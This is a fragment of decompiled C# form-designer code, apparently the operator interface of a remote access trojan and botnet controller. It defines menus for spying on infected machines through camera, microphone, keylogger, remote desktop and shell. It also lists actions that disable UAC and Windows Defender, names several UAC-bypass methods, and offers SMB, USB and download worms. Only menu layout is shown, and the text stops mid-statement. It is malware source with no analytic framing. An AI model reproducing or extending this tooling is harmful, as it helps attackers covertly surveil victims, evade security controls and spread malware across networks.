this.installingToolStripMenuItem, + (ToolStripItem) this.logsToolStripMenuItem, + (ToolStripItem) this.clientToolStripMenuItem, + (ToolStripItem) this.systemToolStripMenuItem, + (ToolStripItem) this.botnetSystemToolStripMenuItem + }); + this.contextMenuForClients.Name = "contextMenuStrip1"; + this.contextMenuForClients.ShowImageMargin = false; + this.contextMenuForClients.Size = new Size(126, 224 /*0xE0*/); + this.surveillanceToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.surveillanceToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[14] + { + (ToolStripItem) this.remoteDesktopToolStripMenuItem, + (ToolStripItem) this.remoteCameraToolStripMenuItem, + (ToolStripItem) this.microphoneToolStripMenuItem, + (ToolStripItem) this.keyLoggerToolStripMenuItem, + (ToolStripItem) this.fileManagerToolStripMenuItem, + (ToolStripItem) this.regeditToolStripMenuItem, + (ToolStripItem) this.taskManagerToolStripMenuItem, + (ToolStripItem) this.netStatToolStripMenuItem, + (ToolStripItem) this.serviceManagerToolStripMenuItem, + (ToolStripItem) this.autoRunToolStripMenuItem, + (ToolStripItem) this.taskSchedulerToolStripMenuItem, + (ToolStripItem) this.shellToolStripMenuItem, + (ToolStripItem) this.clipboardToolStripMenuItem, + (ToolStripItem) this.mapToolStripMenuItem + }); + this.surveillanceToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; + this.surveillanceToolStripMenuItem.Size = new Size(125, 22); + this.surveillanceToolStripMenuItem.Text = "Surveillance"; + this.remoteDesktopToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.remoteDesktopToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; + this.remoteDesktopToolStripMenuItem.Size = new Size(161, 22); + this.remoteDesktopToolStripMenuItem.Text = "Desktop"; + this.remoteDesktopToolStripMenuItem.Click += new EventHandler(this.remoteDesktopToolStripMenuItem_Click); + this.remoteCameraToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.remoteCameraToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.remoteCameraToolStripMenuItem.Name = "remoteCameraToolStripMenuItem"; + this.remoteCameraToolStripMenuItem.Size = new Size(161, 22); + this.remoteCameraToolStripMenuItem.Text = "Camera"; + this.remoteCameraToolStripMenuItem.Click += new EventHandler(this.remoteCameraToolStripMenuItem_Click); + this.microphoneToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.microphoneToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.microphoneToolStripMenuItem.Name = "microphoneToolStripMenuItem"; + this.microphoneToolStripMenuItem.Size = new Size(161, 22); + this.microphoneToolStripMenuItem.Text = "Microphone"; + this.microphoneToolStripMenuItem.Click += new EventHandler(this.microphoneToolStripMenuItem_Click); + this.keyLoggerToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.keyLoggerToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.keyLoggerToolStripMenuItem.Name = "keyLoggerToolStripMenuItem"; + this.keyLoggerToolStripMenuItem.Size = new Size(161, 22); + this.keyLoggerToolStripMenuItem.Text = "KeyLogger"; + this.keyLoggerToolStripMenuItem.Click += new EventHandler(this.keyLoggerToolStripMenuItem_Click); + this.fileManagerToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.fileManagerToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem"; + this.fileManagerToolStripMenuItem.Size = new Size(161, 22); + this.fileManagerToolStripMenuItem.Text = "File Manager"; + this.fileManagerToolStripMenuItem.Click += new EventHandler(this.fileManagerToolStripMenuItem_Click); + this.regeditToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.regeditToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.regeditToolStripMenuItem.Name = "regeditToolStripMenuItem"; + this.regeditToolStripMenuItem.Size = new Size(161, 22); + this.regeditToolStripMenuItem.Text = "Regedit"; + this.regeditToolStripMenuItem.Click += new EventHandler(this.regeditToolStripMenuItem_Click); + this.taskManagerToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.taskManagerToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.taskManagerToolStripMenuItem.Name = "taskManagerToolStripMenuItem"; + this.taskManagerToolStripMenuItem.Size = new Size(161, 22); + this.taskManagerToolStripMenuItem.Text = "Task Manager"; + this.taskManagerToolStripMenuItem.Click += new EventHandler(this.taskManagerToolStripMenuItem_Click); + this.netStatToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.netStatToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.netStatToolStripMenuItem.Name = "netStatToolStripMenuItem"; + this.netStatToolStripMenuItem.Size = new Size(161, 22); + this.netStatToolStripMenuItem.Text = "NetStat"; + this.netStatToolStripMenuItem.Click += new EventHandler(this.netStatToolStripMenuItem_Click); + this.serviceManagerToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.serviceManagerToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.serviceManagerToolStripMenuItem.Name = "serviceManagerToolStripMenuItem"; + this.serviceManagerToolStripMenuItem.Size = new Size(161, 22); + this.serviceManagerToolStripMenuItem.Text = "Service Manager"; + this.serviceManagerToolStripMenuItem.Click += new EventHandler(this.serviceManagerToolStripMenuItem_Click); + this.autoRunToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.autoRunToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.autoRunToolStripMenuItem.Name = "autoRunToolStripMenuItem"; + this.autoRunToolStripMenuItem.Size = new Size(161, 22); + this.autoRunToolStripMenuItem.Text = "AutoRun"; + this.autoRunToolStripMenuItem.Click += new EventHandler(this.autoRunToolStripMenuItem_Click); + this.taskSchedulerToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.taskSchedulerToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.taskSchedulerToolStripMenuItem.Name = "taskSchedulerToolStripMenuItem"; + this.taskSchedulerToolStripMenuItem.Size = new Size(161, 22); + this.taskSchedulerToolStripMenuItem.Text = "Task Scheduler"; + this.taskSchedulerToolStripMenuItem.Click += new EventHandler(this.taskSchedulerToolStripMenuItem_Click); + this.shellToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.shellToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.shellToolStripMenuItem.Name = "shellToolStripMenuItem"; + this.shellToolStripMenuItem.Size = new Size(161, 22); + this.shellToolStripMenuItem.Text = "Shell"; + this.shellToolStripMenuItem.Click += new EventHandler(this.shellToolStripMenuItem_Click); + this.clipboardToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.clipboardToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.clipboardToolStripMenuItem.Name = "clipboardToolStripMenuItem"; + this.clipboardToolStripMenuItem.Size = new Size(161, 22); + this.clipboardToolStripMenuItem.Text = "Clipboard"; + this.clipboardToolStripMenuItem.Click += new EventHandler(this.clipboardToolStripMenuItem_Click); + this.mapToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.mapToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.mapToolStripMenuItem.Name = "mapToolStripMenuItem"; + this.mapToolStripMenuItem.Size = new Size(161, 22); + this.mapToolStripMenuItem.Text = "Map"; + this.mapToolStripMenuItem.Click += new EventHandler(this.mapToolStripMenuItem_Click); + this.exploitationToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.exploitationToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.reverseProxyToolStripMenuItem + }); + this.exploitationToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.exploitationToolStripMenuItem.Name = "exploitationToolStripMenuItem"; + this.exploitationToolStripMenuItem.Size = new Size(125, 22); + this.exploitationToolStripMenuItem.Text = "exploitation"; + this.reverseProxyToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.reverseProxyToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; + this.reverseProxyToolStripMenuItem.Size = new Size(147, 22); + this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; + this.reverseProxyToolStripMenuItem.Click += new EventHandler(this.reverseProxyToolStripMenuItem_Click); + this.interactionToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.interactionToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[6] + { + (ToolStripItem) this.chatToolStripMenuItem, + (ToolStripItem) this.funToolStripMenuItem, + (ToolStripItem) this.speakTextToolStripMenuItem, + (ToolStripItem) this.messageToolStripMenuItem, + (ToolStripItem) this.fullImageOpenToolStripMenuItem, + (ToolStripItem) this.setBackgroundToolStripMenuItem + }); + this.interactionToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.interactionToolStripMenuItem.Name = "interactionToolStripMenuItem"; + this.interactionToolStripMenuItem.Size = new Size(125, 22); + this.interactionToolStripMenuItem.Text = "interaction"; + this.chatToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.chatToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.chatToolStripMenuItem.Name = "chatToolStripMenuItem"; + this.chatToolStripMenuItem.Size = new Size(161, 22); + this.chatToolStripMenuItem.Text = "Chat"; + this.chatToolStripMenuItem.Click += new EventHandler(this.chatToolStripMenuItem_Click); + this.funToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.funToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.funToolStripMenuItem.Name = "funToolStripMenuItem"; + this.funToolStripMenuItem.Size = new Size(161, 22); + this.funToolStripMenuItem.Text = "Fun"; + this.funToolStripMenuItem.Click += new EventHandler(this.funToolStripMenuItem_Click); + this.speakTextToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.speakTextToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.speakTextToolStripMenuItem.Name = "speakTextToolStripMenuItem"; + this.speakTextToolStripMenuItem.Size = new Size(161, 22); + this.speakTextToolStripMenuItem.Text = "Speak text"; + this.speakTextToolStripMenuItem.Click += new EventHandler(this.speakTextToolStripMenuItem_Click); + this.messageToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.messageToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.messageToolStripMenuItem.Name = "messageToolStripMenuItem"; + this.messageToolStripMenuItem.Size = new Size(161, 22); + this.messageToolStripMenuItem.Text = "Message"; + this.messageToolStripMenuItem.Click += new EventHandler(this.messageToolStripMenuItem_Click); + this.fullImageOpenToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.fullImageOpenToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.fullImageOpenToolStripMenuItem.Name = "fullImageOpenToolStripMenuItem"; + this.fullImageOpenToolStripMenuItem.Size = new Size(161, 22); + this.fullImageOpenToolStripMenuItem.Text = "Full Image Open"; + this.fullImageOpenToolStripMenuItem.Click += new EventHandler(this.fullImageOpenToolStripMenuItem_Click); + this.setBackgroundToolStripMenuItem.BackColor = Color.Black; + this.setBackgroundToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.setBackgroundToolStripMenuItem.Name = "setBackgroundToolStripMenuItem"; + this.setBackgroundToolStripMenuItem.Size = new Size(161, 22); + this.setBackgroundToolStripMenuItem.Text = "Set background"; + this.setBackgroundToolStripMenuItem.Click += new EventHandler(this.setBackgroundToolStripMenuItem_Click); + this.extraToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.extraToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[3] + { + (ToolStripItem) this.sendFileToolStripMenuItem, + (ToolStripItem) this.disableUACToolStripMenuItem, + (ToolStripItem) this.disableWDToolStripMenuItem + }); + this.extraToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; + this.extraToolStripMenuItem.Size = new Size(125, 22); + this.extraToolStripMenuItem.Text = "Extra"; + this.sendFileToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.sendFileToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[4] + { + (ToolStripItem) this.fromDiskToolStripMenuItem, + (ToolStripItem) this.fromMemoryToolStripMenuItem, + (ToolStripItem) this.toolStripMenuItem4, + (ToolStripItem) this.fromLinkToolStripMenuItem + }); + this.sendFileToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.sendFileToolStripMenuItem.Name = "sendFileToolStripMenuItem"; + this.sendFileToolStripMenuItem.Size = new Size(139, 22); + this.sendFileToolStripMenuItem.Text = "Send File"; + this.fromDiskToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.fromDiskToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.fromDiskToolStripMenuItem.Name = "fromDiskToolStripMenuItem"; + this.fromDiskToolStripMenuItem.Size = new Size(175, 22); + this.fromDiskToolStripMenuItem.Text = "From Disk"; + this.fromDiskToolStripMenuItem.Click += new EventHandler(this.fromDiskToolStripMenuItem_Click); + this.fromMemoryToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.fromMemoryToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.fromMemoryToolStripMenuItem.Name = "fromMemoryToolStripMenuItem"; + this.fromMemoryToolStripMenuItem.Size = new Size(175, 22); + this.fromMemoryToolStripMenuItem.Text = "From Memory"; + this.fromMemoryToolStripMenuItem.Click += new EventHandler(this.fromMemoryToolStripMenuItem_Click); + this.toolStripMenuItem4.BackColor = Color.FromArgb(17, 17, 17); + this.toolStripMenuItem4.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.toolStripMenuItem4.Name = "toolStripMenuItem4"; + this.toolStripMenuItem4.Size = new Size(175, 22); + this.toolStripMenuItem4.Text = "From Memory Link"; + this.toolStripMenuItem4.Click += new EventHandler(this.toolStripMenuItem4_Click); + this.fromLinkToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.fromLinkToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.fromLinkToolStripMenuItem.Name = "fromLinkToolStripMenuItem"; + this.fromLinkToolStripMenuItem.Size = new Size(175, 22); + this.fromLinkToolStripMenuItem.Text = "From Link"; + this.fromLinkToolStripMenuItem.Click += new EventHandler(this.fromLinkToolStripMenuItem_Click); + this.disableUACToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.disableUACToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.disableUACToolStripMenuItem.Name = "disableUACToolStripMenuItem"; + this.disableUACToolStripMenuItem.Size = new Size(139, 22); + this.disableUACToolStripMenuItem.Text = "Disable UAC"; + this.disableUACToolStripMenuItem.Click += new EventHandler(this.disableUACToolStripMenuItem_Click); + this.disableWDToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.disableWDToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.disableWDToolStripMenuItem.Name = "disableWDToolStripMenuItem"; + this.disableWDToolStripMenuItem.Size = new Size(139, 22); + this.disableWDToolStripMenuItem.Text = "Disable WD"; + this.disableWDToolStripMenuItem.Click += new EventHandler(this.disableWDToolStripMenuItem_Click); + this.uacToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.uacToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[8] + { + (ToolStripItem) this.runAsAdminUacToolStripMenuItem, + (ToolStripItem) this.runAsSystemToolStripMenuItem, + (ToolStripItem) this.eventvwrToolStripMenuItem, + (ToolStripItem) this.fodhelperToolStripMenuItem, + (ToolStripItem) this.computerdefaultsToolStripMenuItem, + (ToolStripItem) this.sDCLTToolStripMenuItem, + (ToolStripItem) this.sLUIToolStripMenuItem, + (ToolStripItem) this.diskCleanupToolStripMenuItem + }); + this.uacToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.uacToolStripMenuItem.Name = "uacToolStripMenuItem"; + this.uacToolStripMenuItem.Size = new Size(125, 22); + this.uacToolStripMenuItem.Text = "Uac"; + this.runAsAdminUacToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.runAsAdminUacToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.runAsAdminUacToolStripMenuItem.Name = "runAsAdminUacToolStripMenuItem"; + this.runAsAdminUacToolStripMenuItem.Size = new Size(173, 22); + this.runAsAdminUacToolStripMenuItem.Text = "Run As Admin Uac"; + this.runAsAdminUacToolStripMenuItem.Click += new EventHandler(this.runAsAdminUacToolStripMenuItem_Click); + this.runAsSystemToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.runAsSystemToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.runAsSystemToolStripMenuItem.Name = "runAsSystemToolStripMenuItem"; + this.runAsSystemToolStripMenuItem.Size = new Size(173, 22); + this.runAsSystemToolStripMenuItem.Text = "Run As System"; + this.runAsSystemToolStripMenuItem.Click += new EventHandler(this.runAsSystemToolStripMenuItem_Click); + this.eventvwrToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.eventvwrToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.eventvwrToolStripMenuItem.Name = "eventvwrToolStripMenuItem"; + this.eventvwrToolStripMenuItem.Size = new Size(173, 22); + this.eventvwrToolStripMenuItem.Text = "Eventvwr"; + this.eventvwrToolStripMenuItem.Click += new EventHandler(this.eventvwrToolStripMenuItem_Click); + this.fodhelperToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.fodhelperToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.fodhelperToolStripMenuItem.Name = "fodhelperToolStripMenuItem"; + this.fodhelperToolStripMenuItem.Size = new Size(173, 22); + this.fodhelperToolStripMenuItem.Text = "Fodhelper"; + this.fodhelperToolStripMenuItem.Click += new EventHandler(this.fodhelperToolStripMenuItem_Click); + this.computerdefaultsToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.computerdefaultsToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.computerdefaultsToolStripMenuItem.Name = "computerdefaultsToolStripMenuItem"; + this.computerdefaultsToolStripMenuItem.Size = new Size(173, 22); + this.computerdefaultsToolStripMenuItem.Text = "Computerdefaults"; + this.computerdefaultsToolStripMenuItem.Click += new EventHandler(this.computerdefaultsToolStripMenuItem_Click); + this.sDCLTToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.sDCLTToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.sDCLTToolStripMenuItem.Name = "sDCLTToolStripMenuItem"; + this.sDCLTToolStripMenuItem.Size = new Size(173, 22); + this.sDCLTToolStripMenuItem.Text = "SDCLT"; + this.sDCLTToolStripMenuItem.Click += new EventHandler(this.sDCLTToolStripMenuItem_Click); + this.sLUIToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.sLUIToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.sLUIToolStripMenuItem.Name = "sLUIToolStripMenuItem"; + this.sLUIToolStripMenuItem.Size = new Size(173, 22); + this.sLUIToolStripMenuItem.Text = "SLUI"; + this.sLUIToolStripMenuItem.Click += new EventHandler(this.sLUIToolStripMenuItem_Click); + this.diskCleanupToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.diskCleanupToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.diskCleanupToolStripMenuItem.Name = "diskCleanupToolStripMenuItem"; + this.diskCleanupToolStripMenuItem.Size = new Size(173, 22); + this.diskCleanupToolStripMenuItem.Text = "DiskCleanup"; + this.diskCleanupToolStripMenuItem.Click += new EventHandler(this.diskCleanupToolStripMenuItem_Click); + this.installingToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.installingToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[4] + { + (ToolStripItem) this.sMBWormToolStripMenuItem, + (ToolStripItem) this.toolStripMenuItem2, + (ToolStripItem) this.toolStripMenuItem3, + (ToolStripItem) this.uSBWormToolStripMenuItem + }); + this.installingToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.installingToolStripMenuItem.Name = "installingToolStripMenuItem"; + this.installingToolStripMenuItem.Size = new Size(125, 22); + this.installingToolStripMenuItem.Text = "Installing"; + this.sMBWormToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.sMBWormToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.sMBWormToolStripMenuItem.Name = "sMBWormToolStripMenuItem"; + this.sMBWormToolStripMenuItem.Size = new Size(178, 22); + this.sMBWormToolStripMenuItem.Text = "SMB Worm"; + this.sMBWormToolStripMenuItem.Click += new EventHandler(this.sMBWormToolStripMenuItem_Click); + this.toolStripMenuItem2.BackColor = Color.FromArgb(17, 17, 17); + this.toolStripMenuItem2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.toolStripMenuItem2.Name = "toolStripMenuItem2"; + this.toolStripMenuItem2.Size = new Size(178, 22); + this.toolStripMenuItem2.Text = "USB Worm"; + this.toolStripMenuItem2.Click += new EventHandler(this.toolStripMenuItem2_Click); + this.toolStripMenuItem3.BackColor = Color.FromArgb(17, 17, 17); + this.toolStripMenuItem3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.toolStripMenuItem3.Name = "toolStripMenuItem3"; + this.toolStripMenuItem3.Size = new Size(178, 22); + this.toolStripMenuItem3.Text = "DESKTOP Worm"; + this.toolStripMenuItem3.Click += new EventHandler(this.toolStripMenuItem3_Click); + this.uSBWormToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.uSBWormToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.uSBWormToolStripMenuItem.Name = "uSBWormToolStripMenuItem"; + this.uSBWormToolStripMenuItem.Size = new Size(178, 22); + this.uSBWormToolStripMenuItem.Text = "DOWNLOAD Worm"; + this.uSBWormToolStripMenuItem.Click += new EventHandler(this.uSBWormToolStripMenuItem_Click); + this.logsToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.logsToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[2] + { + (ToolStripItem) this.recoveryToolStripMenuItem, + (ToolStripItem) this.mapToolStripMenuItem1 + }); + this.logsToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.logsToolStripMenuItem.Name = "logsToolStripMenuItem"; + this.logsToolStripMenuItem.Size = new Size(125, 22); + this.logsToolStripMenuItem.Text = "Logs"; + this.recoveryToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.recoveryToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.recoveryToolStripMenuItem.Name = "recoveryToolStripMenuItem"; + this.recoveryToolStripMenuItem.Size = new Size(122, 22); + this.recoveryToolStripMenuItem.Text = "Recovery"; + this.recoveryToolStripMenuItem.Click += new EventHandler(this.recoveryToolStripMenuItem_Click); + this.mapToolStripMenuItem1.BackColor = Color.Black; + this.mapToolStripMenuItem1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.mapToolStripMenuItem1.Name = "mapToolStripMenuItem1"; + this.mapToolStripMenuItem1.Size = new Size(122, 22); + this.mapToolStripMenuItem1.Text = "Map"; + this.mapToolStripMenuItem1.Click += new EventHandler(this.mapToolStripMenuItem1_Click); + this.clientToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.clientToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[8] + { + (ToolStripItem) this.updateToolStripMenuItem, + (ToolStripItem) this.removeToolStripMenuItem, + (ToolStripItem) this.reconectToolStripMenuItem, + (ToolStripItem) this.exitToolStripMenuItem, + (ToolStripItem) this.openFolderToolStripMenuItem, + (ToolStripItem) this.addConnectToolStripMenuItem, + (ToolStripItem) this.copyHwidToolStripMenuItem, + (ToolStripItem) this.copyLogsToolStripMenuItem + }); + this.clientToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; + this.clientToolStripMenuItem.Size = new Size(125, 22); + this.clientToolStripMenuItem.Text = "Client"; + this.updateToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.updateToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; + this.updateToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.updateToolStripMenuItem.Text = "Update"; + this.updateToolStripMenuItem.Click += new EventHandler(this.updateToolStripMenuItem_Click); + this.removeToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.removeToolStripMenuItem.ForeColor = Color.Red; + this.removeToolStripMenuItem.Name = "removeToolStripMenuItem"; + this.removeToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.removeToolStripMenuItem.Text = "Remove"; + this.removeToolStripMenuItem.Click += new EventHandler(this.removeToolStripMenuItem_Click); + this.reconectToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.reconectToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.reconectToolStripMenuItem.Name = "reconectToolStripMenuItem"; + this.reconectToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.reconectToolStripMenuItem.Text = "Restart"; + this.reconectToolStripMenuItem.Click += new EventHandler(this.reconectToolStripMenuItem_Click); + this.exitToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.exitToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; + this.exitToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.exitToolStripMenuItem.Text = "Exit"; + this.exitToolStripMenuItem.Click += new EventHandler(this.exitToolStripMenuItem_Click); + this.openFolderToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.openFolderToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 192 /*0xC0*/, 0); + this.openFolderToolStripMenuItem.Name = "openFolderToolStripMenuItem"; + this.openFolderToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.openFolderToolStripMenuItem.Text = "Open Folder"; + this.openFolderToolStripMenuItem.Click += new EventHandler(this.openFolderToolStripMenuItem_Click); + this.addConnectToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.addConnectToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.addConnectToolStripMenuItem.Name = "addConnectToolStripMenuItem"; + this.addConnectToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.addConnectToolStripMenuItem.Text = "Add Connect"; + this.addConnectToolStripMenuItem.Click += new EventHandler(this.addConnectToolStripMenuItem_Click); + this.copyHwidToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.copyHwidToolStripMenuItem.ForeColor = Color.Aqua; + this.copyHwidToolStripMenuItem.Name = "copyHwidToolStripMenuItem"; + this.copyHwidToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.copyHwidToolStripMenuItem.Text = "copy hwid"; + this.copyHwidToolStripMenuItem.Click += new EventHandler(this.copyHwidToolStripMenuItem_Click); + this.copyLogsToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.copyLogsToolStripMenuItem.ForeColor = Color.Aqua; + this.copyLogsToolStripMenuItem.Name = "copyLogsToolStripMenuItem"; + this.copyLogsToolStripMenuItem.Size = new Size(144 /*0x90*/, 22); + this.copyLogsToolStripMenuItem.Text = "copy logs"; + this.copyLogsToolStripMenuItem.Click += new EventHandler(this.copyLogsToolStripMenuItem_Click); + this.systemToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.systemToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[5] + { + (ToolStripItem) this.logOutToolStripMenuItem, + (ToolStripItem) this.restartToolStripMenuItem, + (ToolStripItem) this.shutdownToolStripMenuItem, + (ToolStripItem) this.clearSavePluginsToolStripMenuItem, + (ToolStripItem) this.getPathClientToolStripMenuItem + }); + this.systemToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; + this.systemToolStripMenuItem.Size = new Size(125, 22); + this.systemToolStripMenuItem.Text = 